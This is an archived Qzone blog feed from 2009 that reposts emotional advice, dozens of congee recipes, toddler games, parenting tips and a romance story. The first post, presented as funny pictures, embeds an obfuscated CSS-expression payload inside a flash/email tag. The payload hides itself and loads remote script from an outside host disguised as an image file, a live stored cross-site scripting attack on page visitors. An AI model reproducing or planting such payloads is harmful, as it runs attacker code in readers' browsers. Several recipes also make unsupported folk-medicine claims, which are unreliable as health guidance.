<![CDATA[ 小西瓜]]>

<![CDATA[ 小西瓜]]> http://397277101.qzone.qq.com Sat, 28 Nov 2009 04:26:05 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 26 Nov 2009 17:28:46 GMT <![CDATA[[转]您要的图片都有,应有尽有,喜欢只管拿走]]> http://397277101.qzone.qq.com/blog/1259256526

[转]很搞笑的图片　哦！

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://397277101.qzone.qq.com/blog/1259073957#comment 17417 Tue, 24 Nov 2009 14:45:57 GMT http://397277101.qzone.qq.com/blog/1259073957 <![CDATA[[转]每次难过的时候就拿出来看看]]> http://397277101.qzone.qq.com/blog/1258294568 1、不要在流眼泪的时候做任何决定，情绪负面的时候说话越少越好。
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2、不要去反复思考同一个问题，不要把所有的感情都放在一个人身上，你还有父母，有朋友。
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3、不要害怕做错什么，即使错了，也不必懊恼，人生就是对对错错，何况有许多事，回头看来，对错已经无所谓了。
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4、有负面情绪是正常的，但是自己一定要知道，要明白这只是生活的一小部分，在其余时间里，要尽量的让情绪平稳起来。
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5、那个人，突然不联系你了，很正常;那个人，突然又联系你了，也很正常，这什么也不说明。
6、如果不懂，就说出来，如果懂了，就别说，笑笑即可。
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7、一切的烦恼都是自找，因此也只能自己解决，不要找朋友哭诉，找他们去打球。
8、说过的话一定要做到，即使是很蠢的话，再蠢也比言而无信好。
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9、无论发生怎样的变故，不要打破生活原有的规律，要按时吃饭，按时睡觉。
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10、不要去害怕做一件事，不要害怕触景伤情，不要害怕说错话，不要害怕想起过去，不要害怕面对未来。
11、无论是对是错，你需要有一个准则，你的行为应该遵循这个准则，并根据现实生活不断的修正。反反复复优柔寡断的人，是不可能讨人喜欢的.在对错之间徘徊的人，形象不如从错到对的人正面。
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12、当他说：“让我们冷静一段时间好吗？”的时候，要冷静的说好，然后挂掉电话。不要哀求，他不是来征求你的意见的。
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13、不要把心底的话全掏出来，这些是只属于你的财富。
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14、不要和一个人和他议论同一个圈子里的人，不管你认为他有多么可靠。
15、当你不知道和他说什么的时候，那就什么也不要说，沉默有无限种含义。
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16、不要追求什么结果，每个人结果都一样，就是死亡。
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17、不要后悔，无论怎样都不要后悔，后悔的情绪比你所做错的事更加可怕，因为这会摧毁你的自信，自尊以及很有可能让你去做一件更错的事。
18、无论遇到什么事情，都要对自己说：这是正常的。而不要说：我怎么这么倒霉？或是：他怎么这样？那些遇到汶川地震，911或印尼海啸的人很多都没有机会抱怨了。比起他们，生活中的一些波折都是正常的，今天也许你的男朋友离你而去，你会觉得自己是世界上最惨的人，但是别忘了也许这世上同时有几十万个姑娘和你有着同样的遭遇，只是你不知道而已。
19、不要担心嫁不出去，更不要因为年纪大了草率结婚，担心嫁不出去总比担心老公出轨要离婚，小三抢财产要好.担心嫁不出去只是担心而已，心情好了还照样过原来的日子，老公真要离婚那才是真的麻烦。
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20、一定要明白，自己所做的一切都是为了追寻一种状态，一种自我的满足感和幸福感.不要害怕什么，这世上可供害怕的事太多了，你是害怕不完的。有事情，就解决，不能解决，那就拉倒。
]]> http://397277101.qzone.qq.com/blog/1258294568#comment 142606856 Sun, 15 Nov 2009 14:16:08 GMT http://397277101.qzone.qq.com/blog/1258294568 <![CDATA[[转]41种粥的做法学会了去温暖爱的人的胃吧]]> http://397277101.qzone.qq.com/blog/1256749606

蔬菜牛肉粥
蔬菜牛肉粥
原料：牛肉--40克，米饭--1/4碗，菠菜--1棵，肉汤--1/2杯，土豆、胡萝卜、洋葱--1/5
个，盐--若干
制法（1）准备牛肉精肉并磨碎。
（2）将菠菜、胡萝卜、洋葱、土豆炖熟并捣碎。
（3）将米饭、蔬菜和肉末放入锅中煮，并用盐调味。
02 豆腐粥
原料：米饭--1/6碗，肉汤--1/2杯，豆腐1/10块，盐--若干
制法（1）将豆腐切成小块。
（2）将米饭、肉汤、豆腐加水放在锅中同煮。
（3）煮至粘稠时加入适量的盐调味。
03 鸡蛋粥
原料：鸡蛋--1/2个，胡萝卜--1/5个，菠菜--1棵，米饭--1/4碗，肉汤--1/2杯，盐--若干
制法（1）将胡萝卜和菠菜炖熟切碎。
（2）将米饭、肉汤和切碎的胡萝卜、菠菜倒入锅中同煮。
（3）煮开之后放入捣好的蛋糊并搅开，加盐调味。
04 蔬菜鱼肉粥
原料：鱼白肉--30克，胡萝卜--1/5个，海带清汤--1/2杯，萝卜--20克，酱油--若干，米
饭--1/4碗
制法（1）将鱼骨剔净，鱼肉炖熟并捣碎。
（2）将萝卜、胡萝卜用擦菜板擦好。
（3）将米饭、海带清汤及鱼肉、蔬菜等倒入锅内同煮。
（4）煮至粘稠时放入酱油调味。

干酪粥

05 干酪粥
原料：米饭--1/6碗，水--1/2杯，干酪--5克
制法（1）将干酪切碎。
（2）将米饭入锅加适量水煮。
（3）煮至粘稠时中入干酪，干酪开始溶化时将火关掉。
06 豌豆粥
原料：米饭--1/4碗，豌豆--5个，牛奶--1/4杯，盐--若干
制法（1）将豌豆用开水煮熟，捣碎并过滤。
（2）在米饭中加适量水用小锅煮沸。
（3）之后放入牛奶和豌豆，并用文火再煮。
（4）加盐调味。
07 胡桃粥
原料：糯米--1/3杯，胡桃--5个，红枣--1个，盐--若干
制法（1）将胡桃夹开把瓤取出，泡在水里，将其薄皮剥去并捣碎。
（2）将红枣去核并用水浸泡后捣碎。
（3）将胡桃、红枣、糯米加适量水放在小锅里煮。
（4）煮好后用盐调味。
08 苹果麦片粥
原料：燕麦片--3大匙，牛奶--1/4杯，苹果--1/6个，胡萝卜--1/3个
制法（1）将苹果和胡萝卜洗净并用擦菜板擦好。
（2）将燕麦片及擦好的1大匙胡萝卜放入锅中，倒入牛奶及1/4杯水用文火煮。（3）煮
开后再放入2大匙擦好的苹果直至煮烂。

芋头粥
09 鱼肉牛奶粥
原料：鱼白肉--1/6块，牛奶--1大匙，盐--若干
制法（1）将鱼肉抬掇干净，炖熟并捣碎。
（2）将鱼肉放在小锅里加牛奶煮，之后加盐调味。

10 芋头粥
原料：芋头--1/2个，肉汤--1大匙，酱油--若干
制法（1）将芋头皮剥掉切成小块，用盐腌一下再洗净。
（2）将芋头炖烂后捣碎并过滤。
（3）将肉汤及芋头放在小锅里煮，并不时地搅一下。
（4）煮至粘稠后加酱油调味。
11 土豆粥
原料：土豆--1/3个，牛奶--2大匙，熟蛋黄--1/4个，盐--若干
制法（1）将土豆去皮，炖烂，捣碎并过滤。
（2）将土豆加牛奶用文火煮，并轻轻搅拌，粘稠后加盐。
（3）将蛋黄捣碎放在土豆泥里。
12 干酪面包粥
原料：主食面包--1片，牛奶--2/3杯，干酪粉--1/2匙
制法（1）将主食面包的边沿剪掉之后撕成碎片。
（2）把撕碎的面包加牛奶用文火煮，煮成糊状后撒上干酪粉。
也可以用蛋糕来代替面包做成蛋糕粥。

番茄粥
13 胡萝卜酸奶粥
原料：胡萝卜--1/10个，面粉--1小匙，卷心菜--10克，酸奶--1大匙，肉汤--3大匙，黄
油--若干
制法（1）将卷心菜和胡萝卜要成细丝炖烂。
（2）用黄油将面粉略炒一下，加入肉汤、蔬菜煮，并轻搅。
（3）将炖好的材料冷却后与酸奶拌好
14 番茄粥
原料：番茄--1/8个，米饭--1/4碗，海带清汤--1/2杯，盐--若干
制法（1）将番茄泡在开水里，随即取出去皮去瓤，切碎。
（2）将米饭和海带清汤倒入小锅是煮。
（3）煮好后加入番茄，加盐调味。
15 鸡肉粥
原料：鸡胸脯肉--10克，米饭--1/4碗，海带清汤--1/2杯，菠菜--10克，酱油、白糖--若
干
制法（1）将鸡胸脯肉去筋，切成小块，用酱油和白糖腌一下。
（2）将菠菜炖熟并切碎。
（3）米饭用海带清汤煮一下，再放入菠菜鸡肉同煮。
16 裙带菜红蛤粥
原料：干红蛤--2个，干裙带菜--20克，大米--1/4杯
制法（1）将红蛤和裙带菜用水泡开之后拧净水分并切碎。
（2）将泡好的米加适量的水一起倒入粉碎机磨碎。
（3）以1：10的比例将米和水调好，加入裙带菜和红蛤同煮。
（4）煮好之后用盐调味。

红薯鸡蛋粥
17 红薯鸡蛋粥
原料：红薯--1/6块，鸡蛋--1个，牛奶--2大匙
制法（1）将红薯去皮，炖烂，并捣成泥状。
（2）将鸡蛋煮熟之后把蛋黄捣碎。
（3）红薯泥加牛奶用文火煮，并不时地搅动。
（4）粘稠时放入蛋黄，搅匀。
18 栗子粥
原料：栗子--5个，海带清汤--1/2杯
制法（1）将栗子煮熟之后去皮，捣碎。
（2）海带清汤煮沸后加栗子同煮。
栗子可强肠胃功能，有助于消化。婴儿腹泻时食用栗子，效果较好。
19 蔬菜粥
原料：牛肉--20克，大米--1/3杯，胡萝卜、洋葱--若干，香油、酱油--若干
制法（1）大米洗净用水泡好，牛肉、胡萝卜、洋葱切碎。
（2）用香油把牛肉在锅里炒一下，再入泡好的大米炒制。
（3）将大米炒至一定程度后加入胡萝卜和水，用文火煮烂，再用酱油调味。

20 大酱粥
原料：米粥--1小碗，大酱--1/2小匙，胡萝卜、洋葱、菠菜--若干
制法（1）将胡萝卜、洋葱、菠菜切成碎块。
（2）蔬菜加清汤煮制，随后放入米粥同煮。
（3）煮好之后放大酱调味。

莲子桂圆粥

21 胡萝卜粥
原料：准备胡萝卜(红萝卜)适量
制作：把胡萝卜洗净去除根须放入蒸锅内上米蒸熟蒸烂取出晾凉捣烂成泥
如果小孩喜吃甜食也可稍加白糖
特点：清香适口胡萝卜味甘性平有健脾助消化之功并含有胡萝卜素B族维生素
脂肪糖类其中含大量果胶有收敛和吸附作用患儿腹泻食用后可以抑制肠道蠕动
对抑制消化不良所引起的腹泻非常合适
22 脊肉粥
猪脊肉是指猪脊背上的精肉
古代人已作为药用其性味甘咸平猪瘦肉含有丰富的蛋白质并含有较多的碳水
化合物钙磷铁等营养成分可防止发生营养不良
原料：猪脊肉100克粳米100克食盐香油川椒粉各少许
制作：先将猪脊肉洗净切成小块放锅内用香油炒一下然后加入粳米煮粥待粥
将烂熟时加入盐胡椒粉调味再煮沸即成
特点：粥有肉香油等调味品味道极好此粥补益人体小儿常食可防止发生
贫血
23.莲子桂圆粥
[原料]莲子20克、龙眼肉10克、糯米50克。
[做法]取莲子、龙眼肉、糯米同煮成粥。
[用法]每日2次，温热食用。
[作用]补心脾，益气血。适用于失血性贫血。
[评注]桂圆大补、不宜久用；莲子能平补不峻、可以久服。伏案诵读、劳伤心脾、记忆减退、纳谷不香者，可常吃莲子粥。
24.八宝粥
[原料]芡实、薏仁米、白扁豆、莲肉、山药、红枣、桂圆、百合各6克、粳米150克。
[做法]先取上述八药煎煮40分钟，再加入大米继续煮烂成粥。
[用法]分顿调糖食用，连吃数日。
[作用]健脾胃，补气益肾，养血安神。适用于失眠以及体虚乏力虚肿、泄泻、口渴、咳嗽少痰等。
[评注]八宝粥超市有卖，温热服用效果较好，健康人食用可强身健体。

柏子仁粥
25.柏子仁粥
[原料]柏子仁15克、粳米100克、蜂蜜适量。
[做法]先将柏子仁去除皮、壳、杂质，捣烂，与粳米煮粥，待粥将时，兑入蜂蜜，稍煮开锅即可。
[用法]每日2次，连服3天。
[作用]润肠通便、养心安神。适用于心悸、失眠、健忘、长期便秘或老年性便秘。
[评注]柏子仁甘平、有养心安神、滋阴养肝、舒脾润肠、美颜乌发等作用。柏子仁含脂肪油14%、少量挥发油、皂甙等物质，为常用的滋补安神药。
26.酸枣仁粥
[原料]酸枣仁末15克、粳米100克。
[做法]先以粳米加水煮粥至将熟，加入酸枣仁末再煮片刻即可。
[用法]早晚温服。
[作用]养心、安神、敛汗。适用于神经衰弱、心悸、失眠、多梦、黑眼圈。
[评注]酸枣仁末入粥中酸甘适口，深受欢迎。酸枣仁生用炒用均可，炒时间过常能破坏有效成分。可取酸枣仁微炒片刻研末，家庭可用擀面杖研磨。
27.小米枣仁粥
[原料]小米100克、酸枣仁末15克、蜂蜜40克。
[做法]将小米加水煮粥至将熟，加入酸枣仁末，搅匀煮开即可。
[用法]每日2次，加蜂蜜温服。
[作用]补脾润燥，宁心安神。主治纳食不香、夜寐不宁、大便干燥。
[评注]酸枣仁能宁心安神，小米可补脾养心。酸枣仁在锅内微炒片刻研末，家庭可用擀面杖研磨。
28.绿豆粥
[原料]
绿豆30g，粳米100g
[做法]
1．将绿豆、粳米淘洗干净。
2．把绿豆、粳米放入锅内，加水约500g，煮至米烂汁黏时即可离火食用。每日服食1-2次。
[营养]
内含蛋白质13.6g，脂肪0.65g，碳水化合物95.7g，钙39mg，磷25.9mg，铁2.7mg，维生素A0.20国际单位，维生素B10.2mg，维生素B21.5mg，尼克酸0.6mg，能产热453kcal。
[功能]
绿豆是一种非常好的解暑食品，能清热消暑、解毒消痛、利尿除湿，与粳米相搭配，煮成粥，又可健脾益气、养血生津，确为夏季解暑佳品，且因本品并非过于寒凉，不会滞胃凉脾，是产后防暑、解暑佳品。

金银花粥
29.银杏粥
益元气、补五脏、抗衰老，老年、体弱多病者尤佳。正常人食之健体。宜家庭食用。
做法：
银杏仁（去壳后用沸水烫去内种皮）6-10粒，冰糖少量，粳米2两，水适量，同时放入锅中，文火煮熟即成。以粳米成糊糜状即可。
银杏宜与其他淡甜低糖的米粥类相配，如银杏八宝粥、银杏绿豆粥、银杏沙参莲子粥等，糖以冰糖、白糖为宜。
30.金银花粥
材料：金银花30克，白米30克。
做法：金银花可在药材店买到。先用水煎煮，取其浓汁，加入白米30克，水300毫升，再煮为稀薄的粥。
功效：可用来防治中暑，以及各种热毒疮疡、咽喉肿痛、风热感冒等等。
31.莲藕粥
材料：鲜藕200克，白米100克，白糖少许。
做法：先将莲藕洗净切片，与白米同煮为粥，待粥熟时，再调入些许白糖，即可进食。
功效：益气养阴，健脾开胃，老年人体虚，热天里食欲不振、大便溏薄、热病口渴等等都能进食。
32.白木耳粥
材料：白木耳60克，糯米100克。
做法：白木耳先用清水发泡洗净。糯米淘净后，置入锅内加水烧开，再放入银耳，熬煮成粥，调入一些冰糖即成。
功效：滋阴生津、润肺养胃、益气和血，可治虚劳咳嗽、痰中带血、阴虚口渴。

麦冬竹叶粥
33.红枣粥
材料：红枣，白米，分量可随自己口味决定。
做法：很简单，在白粥煮至七成熟的时候，放入红枣同煮。
功效：具有养脾、润心肺、补五脏、治虚损的功用，对于血压低、肺虚咳嗽，有一定增益。
34.麦冬竹叶粥
材料：麦冬30克，甘草10克，竹叶15克，白米100克，去核红枣6枚。
做法：将麦冬、甘草、竹叶先用水煎熬，取汁，加入粳米、红枣一起煮成粥。
功效：带点淡淡的清甜，具有清热解暑、益气和健胃等功效，假如感到暑热口渴、气短乏力、不思饮食，不妨一试。
35.豆浆粥
做法：豆腐浆适量，粳米50克，一同煮粥。
功效：有润肺胃、消胀满、下浊气、利小便的功效，夏天常食可消暑、利湿，并适用于治疗炎夏食欲不振、体倦乏力诸症。
36.薄荷粥
做法：用大米150克煮成粥，另用鲜薄荷100克或用干薄荷20克煎成较浓的汤，加适量白糖后倒入粥内，搅和后凉服。
功效：对治疗夏季风热感冒、头痛目赤、风疹瘙痒、咽喉痛等症甚佳。

菊花粥
37.菊花粥
做法：用黄菊花20克，稍加水煎成菊花水，去菊花，将此水与大米160克共煮成粥。
功效：此粥对夏季风热感冒、目赤昏花、疗疮肿毒及高血压患者较为适宜。
38.芦根粥
做法：鲜芦根150克，竹茹15克，粳米60克，生姜2片，将芦根洗净、切段，与竹茹同煎，去渣加粳米、生姜煮成粥，分2次服食。
功效：有清热、除烦、生津、止呕的功效，适用于治疗中暑烦渴、恶心呕吐。

39.鸡粥
主料：鸡肉200克
调料：葱末5克，盐5克，熟油、胡椒粉各少许，姜片5克，香菜末。
做法：
1：将大米淘洗干净，放入锅内，加水2000克，烧开后用小火煮成粥
2：鸡肉放入另一只锅内，加姜片和水，烧开后小火煮熟，捞出晾凉，把鸡肉撕成丝，再用葱末，盐、胡椒粉、熟油拌匀调味。
3：把调好味的鸡丝倒入粥锅内，用文火稍煮一会儿，撒上香菜末即成。概据个人的喜好与习惯，也可不加香菜末。
特点：味道鲜美可口，常食可滋养五脏、补气血。

40.皮蛋瘦肉粥
煮粥用料：瘦肉1块（猪腱肉最好），皮蛋2个（无铅皮蛋，一则健康些，二则石灰味没那么大），姜1块，水足量，油盐适量。
要煮出一锅绵香好味的皮蛋咸瘦肉粥，要诀如下：
（1）挑米：煮粥用的米最好用东北大米，就是圆圆短短的珍珠米，煮出的粥特别绵软；
（2）煮粥的米要预先腌：约半碗米淘洗干净后，要用2汤匙的油、1个半茶匙的盐和少许水（2茶匙）拌匀，腌至少半小时，放心，虽然用了很多油，但是油会在煮粥的过程中挥发，令米绵烂，所以并不油腻的；
（3）煮粥的肉要先用沸水煮煮去腥，或腌成咸肉：煮粥用瘦肉或腌的咸瘦肉，不必太考究是猪的哪一块肉，总之要保持一整块肉块不要切开（我一般用大约巴掌大，1－2厘米厚的一块猪肉，如果条件许可，用猪腱肉更好味）。如果用瘦肉煮粥，那么要先用沸水把瘦肉略
略煮煮，然后洗净；如果喜欢用腌的咸猪肉煮粥，那么要提前一天腌咸猪肉，方法如下：
猪肉一块，冲洗干净，抹干，撒2－3茶匙盐，均匀涂抹在肉上，放冰箱下格（就是不会冻成冰的保鲜格）腌12小时或更长时间才可以入味；
（4）煮粥的水要充分沸腾才下材料：大汤锅中放很多水，煮沸，才放材料。先下肉块、姜片，火不要关小，肉块到了沸水中，外面的部分遇热而熟硬，封住了里面的肉汁，这样肉煮了粥后也不难吃，然后待水再次沸腾时下腌好的米和一个切碎的皮蛋，而这第一个皮蛋切碎下粥与米同煮，皮蛋会融化，融入粥的味道中；
（5）先大火，后小火，火候要足：水沸了，下了材料后，先大火煮20分钟，然后再转小火煮1个半小时，火候足，粥就绵软入味而且容易消化；
（6）粥的质感处理：在转小火煮了1个半小时后，把第二个皮蛋也切碎，同时把煮在粥中的瘦肉捞出来，用筷子扒拉，撕成丝丝状，跟第二个皮蛋一起放回粥中，同煮最后半小时，然后关火。第二个皮蛋在关火前半小时加入粥中，半小时可将第二个皮蛋煮得既没有石灰味，同时又变软滑，吃粥时也能吃到有皮蛋，而肉因为是水沸时下的，还保持了一定鲜味，撕成丝后放回粥中，特别好吃。
这样煮出来的粥不必下盐，好味，而且下火，容易消化。如果粥有点粘底，请千万不要用勺子扒拉锅底的粘皮，要不粥会有糊味，我们通常会放一个轻的小调羹在锅底与粥同煮，水沸腾过程中，小调羹也被带动，可以防止粥煮粘底。

41.南瓜粥
原料：南瓜250g，米50g，白糖少量
做法：
（1）先将南瓜蒸软，混着蒸出来的南瓜汁一起捣成南瓜泥；
（2）将米下锅加入适量的水，大火煮开3分钟，加入南瓜泥不停搅拌直至再次煮开，开小火继续煮15—20分钟就可以咯；
（3）加入适量的白糖或者放凉后加入蜂蜜；
我个人觉得南瓜粥已经有很清甜的香味了，为了身材着想，我就没有加糖。而且放冰箱冰过以后更好喝！ ]]> http://397277101.qzone.qq.com/blog/1256749606#comment 134218249 Wed, 28 Oct 2009 17:06:46 GMT http://397277101.qzone.qq.com/blog/1256749606 <![CDATA[宝宝越玩越聪明的游戏(转)]]> http://397277101.qzone.qq.com/blog/1253470891 0～3岁是人的一生中最为关键的时期。

　　一个人的性格、语言能力、协调能力、创造能力等等都是在这一时期形成的。而这些能力的形成与发展恰恰是通过父母与宝宝之间的亲密游戏来实现的。

　　0～3岁的宝宝不是只能吃喝拉撒睡，相反，他们一直在游戏中学习运用自己的身体及感官领会周围的世界，进而拓展自己的全方位能力。

　　下面是育儿专家们提供的14个游戏，让您和宝宝可以从周一玩到周日，开开心心开发宝宝的大脑。

　　星期一

　　A　宝宝大变脸

　　妈妈做出各种表情(夸张点，没关系)，宝宝来模仿：笑了、生气了、难过了……再来指认五官，妈妈说，宝宝指(反过来也有趣)。指对了，亲一下，指错了，刮鼻子。(适合1岁半以上的宝宝)

　　B　苹果娃娃逃不了

　　一只苹果娃娃藏到了橘子娃娃中间，请宝宝把它找出来，不过要蒙上眼睛。先来尝一尝，找到了吗？再来闻一闻，还可以摸一摸，苹果娃娃逃不了。(适合找2岁以上宝宝)

　　星期二

　　C　翻翻瓶盖

　　找一堆大大小小的塑料瓶盖，盖内贴上小图案(吃的、用的、小动物都可以)。图案向下，妈妈和宝宝轮流翻，然后说出自己翻到的是什么。全翻出来后，由妈妈提议，如：“吃的东西”，宝宝就把所有有食物图案的瓶盖找出来。妈妈可以帮助宝宝一起找。(适合2岁半以上宝宝)

　　D　捉迷藏

　　妈妈把小动物玩具分别放到床下、椅子下、纸篓里……

　　凶猛的大老虎来了，小动物们都躲起来了，请宝宝仔细找找，小动物藏在哪里？比如小兔子在桌子底下、小猫在柜子里，让宝宝学会运用句子：××在××下(上、里等)。(适合2岁半以上宝宝)

　　星期三

　　E　我要回家

　　准备一些三角形和方形卡片，两只盒子(分别贴上三角形和方形，作为图形宝宝的家)。妈妈可以这样说：“图形宝宝出来玩，找不到自己的家了，宝宝来帮个忙，送它们回家吧。”如果宝宝玩得高兴，还可以让宝宝用卡片拼几种简单的图案。(适合2岁半以上宝宝)

　　F　小小音乐会

　　搬出小鼓、小铃、小喇叭……等玩具小乐器，来敲敲打打，听听发出的不同声音(让宝宝找找看，家里还有什么东西可以做乐器)。然后，妈妈背对着宝宝敲打乐器，让宝宝辨别声音，说出妈妈正在敲打的是哪个乐器。妈妈还可以敲打出不同的节奏，让宝宝模仿其节奏。(适合1～3岁宝宝)

　　星期四

　　G　玩水时节

　　一个大盆装上水，小勺、小瓢、塑料碗、塑料瓶、塑料袋、小针筒、小水枪……开始玩水喽！让宝宝舀来舀去，抓抓水，泼泼水，塑料袋扎上洞眼做“莲蓬”，用针筒吸水……水里的乐趣说不尽！(适合1岁半以上宝宝)

　　H　猜猜我是谁

　　森林里的小动物们要来做客，妈妈扮小动物，模仿动物的叫声或动作，然后问：猜猜我是谁？我喜欢吃什么？你知道我怎么吃东西？宝宝答对了，客人请进门，宝宝找出小动物爱吃的食物卡片招待客人。交换角色再玩一遍，也很有趣哦！(适合1岁半以上宝宝)

　　星期五

　　I　手帕的故事

　　准备好花花绿绿的儿童手帕，妈妈说一个手帕上的故事，请宝宝把它找出来。挑几块画面有情节的，贴在硬纸板上，制成二三页的手帕书。妈妈和宝宝一起看着手帕书讲故事。(适合1岁半以上宝宝)

　　J　小小饲养员

　　开口式纸盒两只，分别贴上小白兔、小猫图片，一些青菜、萝卜、蘑菇、鱼的卡片。小白兔和小猫肚子饿了，小饲养员给它们喂些吃的吧。请宝宝根据动物的食性用勺子喂食。鼓励宝宝边喂食边说。如：小兔吃蘑菇、小猫吃鱼。可以逐渐增加难度：动物盒可以先平放再竖放，开口及勺子可由大到小，动物角色也可以由两种增加到三四种。(适合1岁以上宝宝)

　　星期六

　　K　影子游戏

　　轮廓特征明显的动物卡片，再在纸板上画出其影子轮廓线。宝宝先来猜猜看，这是谁的影子？再用卡片摆一摆，是它的影子吗？妈妈还可以做做手影游戏，让宝宝猜一猜。(适合1岁半以上的宝宝)

　　L　大大和小小

　　大娃娃、小娃娃各一只，娃娃服饰、碗、盆、皮球、汽车等大小各一套。一个娃娃叫“大大”，另一个叫“小小”，大大用的东西都是大的，小小用的东西都是小的，请宝宝帮它们分分开。(适合2岁以上宝宝)

　　星期日

　　M　打电话

　　两三岁的宝宝喜欢自说自话、自娱自乐，所以他们都喜欢打电话。妈妈扮成各种角色(妈妈、爸爸、爷爷、奶奶、小表妹或各种宝宝喜欢的小动物)，和宝宝用玩具电话机聊聊天吧：喂，我是妈妈，你是谁呀？……(适合2岁以上宝宝)

　　N　拥抱大自然

　　天天在家里做游戏可不行，更广阔的学习天地在户外！爸爸妈妈和宝宝一起去散步、郊游吧。看看蓝天、云朵，想一想，云朵像个啥？；认认街道旁的树和花，审美情趣也许就在宝宝的心里悄悄生长了；向小鸟、小狗问个好，做个爱动物的好宝宝。(适合0～3岁的宝宝) ]]> http://397277101.qzone.qq.com/blog/1253470891#comment 134218240 Sun, 20 Sep 2009 18:21:31 GMT http://397277101.qzone.qq.com/blog/1253470891 <![CDATA[[转] 让孩子听话的六大诀窍]]> http://397277101.qzone.qq.com/blog/1253467143 　　案例:晚饭前，妈妈告诉5岁的儿子明明，吃饭前要洗手。可明明像没听见一样，头也不抬地玩游戏，最后还是没洗手就吃饭了。为此，明明妈妈既抱怨又担忧，这孩子是怎么了，他怎么就不能集中注意力听大人讲话呢？
　　专家分析:家长首先需要了解的是，对于四五岁的孩子来说，他们已经能够全神贯注地投入一件事情。与此同时，他们也变得更独立，不喜欢被人打扰。实际上，无视别人的存在，是他们自觉或不自觉的一个避免被打搅的方法。
　　其次，父母担心孩子“忽视”大人讲话并非没有道理，因为如果一旦成为习惯，对孩子今后与他人的交往将形成很大的阻碍。
　　建议1:让孩子关注谈话
　　在厨房干活的妈妈对着正在房间里玩得高兴的孩子大叫:“过来洗手准备吃饭。”一般不大可能有效果。如果需要孩子听见妈妈的话，并且让他按照指令去做，妈妈最好是让孩子先放下手中的事情，然后把孩子带到安静的房间里，再跟他说话。这样做不仅能让孩子将注意力和关注点转移到谈话的内容上来，而且能培养孩子在和他人谈话时，端正态度。
　　形成习惯后，孩子就会知道，看着对方的眼睛说话，这是对他人的尊重。
　　提示:妈妈也可以走到孩子的身边，轻轻扶住他的肩膀，叫他的名字，当孩子的注意力完全转移到你这里时再开始说要说的话。
　　建议2:避免喋喋不休
　　调查资料显示，当父母在孩子面前喋喋不休，把自己真正要讲的意思和许许多多“废话”，例如抱怨、絮叨或责备都夹杂在一起，或是把要孩子说的几件事和几个要求都混在一起跟他说个没完时，效果反而会适得其反。这是因为孩子并不清楚父母究竟要说什么，所以反而会忽视父母的话。
　　提示:父母在跟孩子说话或提要求时，应尽量使自己的话语简单明了。每次告诉孩子事情的2~3个步骤即可，并让孩子重复一下父母的话，同时督促孩子照着去做。
　　建议3:不必大声说话
　　大喊大叫地对孩子发布命令，这是最不明智的做法。因为，虽然此时孩子的注意力都在父母身上，但他关注的只是父母脸上的愤怒表情，而不是父母所说的话。事实上，父母越是温柔和轻声地说话，孩子越是容易关注父母所说的话。
　　提示:如果妈妈有些生气了，不妨走到孩子跟前，帮助他停下手里的事情，看着他，用柔和的语气说出自己想说的话。这样，同时也能让自己平静下来。
　　建议4:借助视觉信号
　　美国有关儿科神经专家认为，给孩子一个视觉的信号，能帮助他加强对正在说话的父母的关注度。使用手势或动作，有时也能起到强调的作用。例如让孩子去睡觉，可以用手指着他的房间；叫孩子出门，可以用拍拍手的动作。
　　提示:父母可以和孩子一起制定一两个共同约定的暗号，在某些公共场合用来告诉孩子，这时必须听话，例如拉拉耳朵、捏捏脖子等。一些看来具有幽默感的身体语言，反而比严厉的训斥来得更管用。
　　建议5:重视孩子说的话
　　如果孩子发现爸爸妈妈十分重视自己说的话，那么他也会很愿意听父母说话。如果父母在孩子说话时总显得心不在焉，或目不转睛地盯着自己喜爱看的电视节目，或还在看手中的书，那么孩子依葫芦画瓢也就不足为怪了。
　　提示:当孩子说话时，父母也要用对孩子的期望来要求自己，看着孩子的眼睛，认真倾听他说的每个字，同时也可以提一些与此相关的问题，用简洁的话语回复孩子，表明你是在认真地听他的话，并已参与其中了。
　　建议6:给孩子留点时间
　　有时孩子是因为专注于感兴趣的事情而忽视了父母的话，此时父母应适当地多给孩子留点时间。事实上，如果总是打断孩子做自己喜欢的事情，不仅会让孩子更不愿意搭理你，还不利于孩子本身的发展。
　　提示:如果父母需要孩子停下手中的事情去做另外一件事情，可以趁孩子不那么专注时，轻声提醒他一下，给孩子留有一点过渡的时间，当孩子按照要求去做了之后，父母要及时称赞 ]]> http://397277101.qzone.qq.com/blog/1253467143#comment 134218240 Sun, 20 Sep 2009 17:19:03 GMT http://397277101.qzone.qq.com/blog/1253467143 <![CDATA[[转]转载：原來真的沒有合不合適，衹有珍惜不珍惜]]> http://397277101.qzone.qq.com/blog/1253022001

刚搬进这个房子的那天，她整理完全部的东西，最后拿出一个非常精致的玻璃瓶，对他说道：“亲爱的，3个月内，你让我每哭一次，我就往里面加一滴水，代表我的眼泪。要是它满了，我就收拾我的东西离开这房子。”

男人不以为然，有点纳闷：“你们女人也太神经质了吧！就这么不信任我么，那还有什么可谈？我让你搬过来和我一起生活，是为了照顾你，不是欺负你的！”

女人说：“好男人不会让心爱的女人受一点点伤，我会记录下我为什么流泪，不会是莫名其妙的。”
“那好吧，抱～！”

两个月后，女人把那瓶子给男人看，说：“已经满一半了，在两个月内，我们是否有必要查看一下是什么问题呢？”说完递了一本精致的小笔记本给男人。

男人没有马上打开来看，他的表情里有一丝惊讶，还有点哭笑不得的意味，似乎没有想到女人的眼泪可以这么多，盛得这么快，又觉得女人是小题大作了，但是很可爱。

他打开本子开始看，惊讶女人怎么写了那么多。男人一边看着，女人一边说话：“第一次吵架，是在第3天，而且还是一大早，你刚醒来有点懵懂，挤的牙膏不知道怎么的飞到镜子上了，那是我刚擦干净的，我说你连挤牙膏都不会啊，你就来脾气了，然后吵起来……”

男人沉默着。女人继续说：“有天晚上我让你帮洗下那几件衣服，因为水太凉，你只顾着玩游戏迟迟不肯动，后来吵起来，我很失望你忘记了我的生理期不能碰冷水，委屈……”

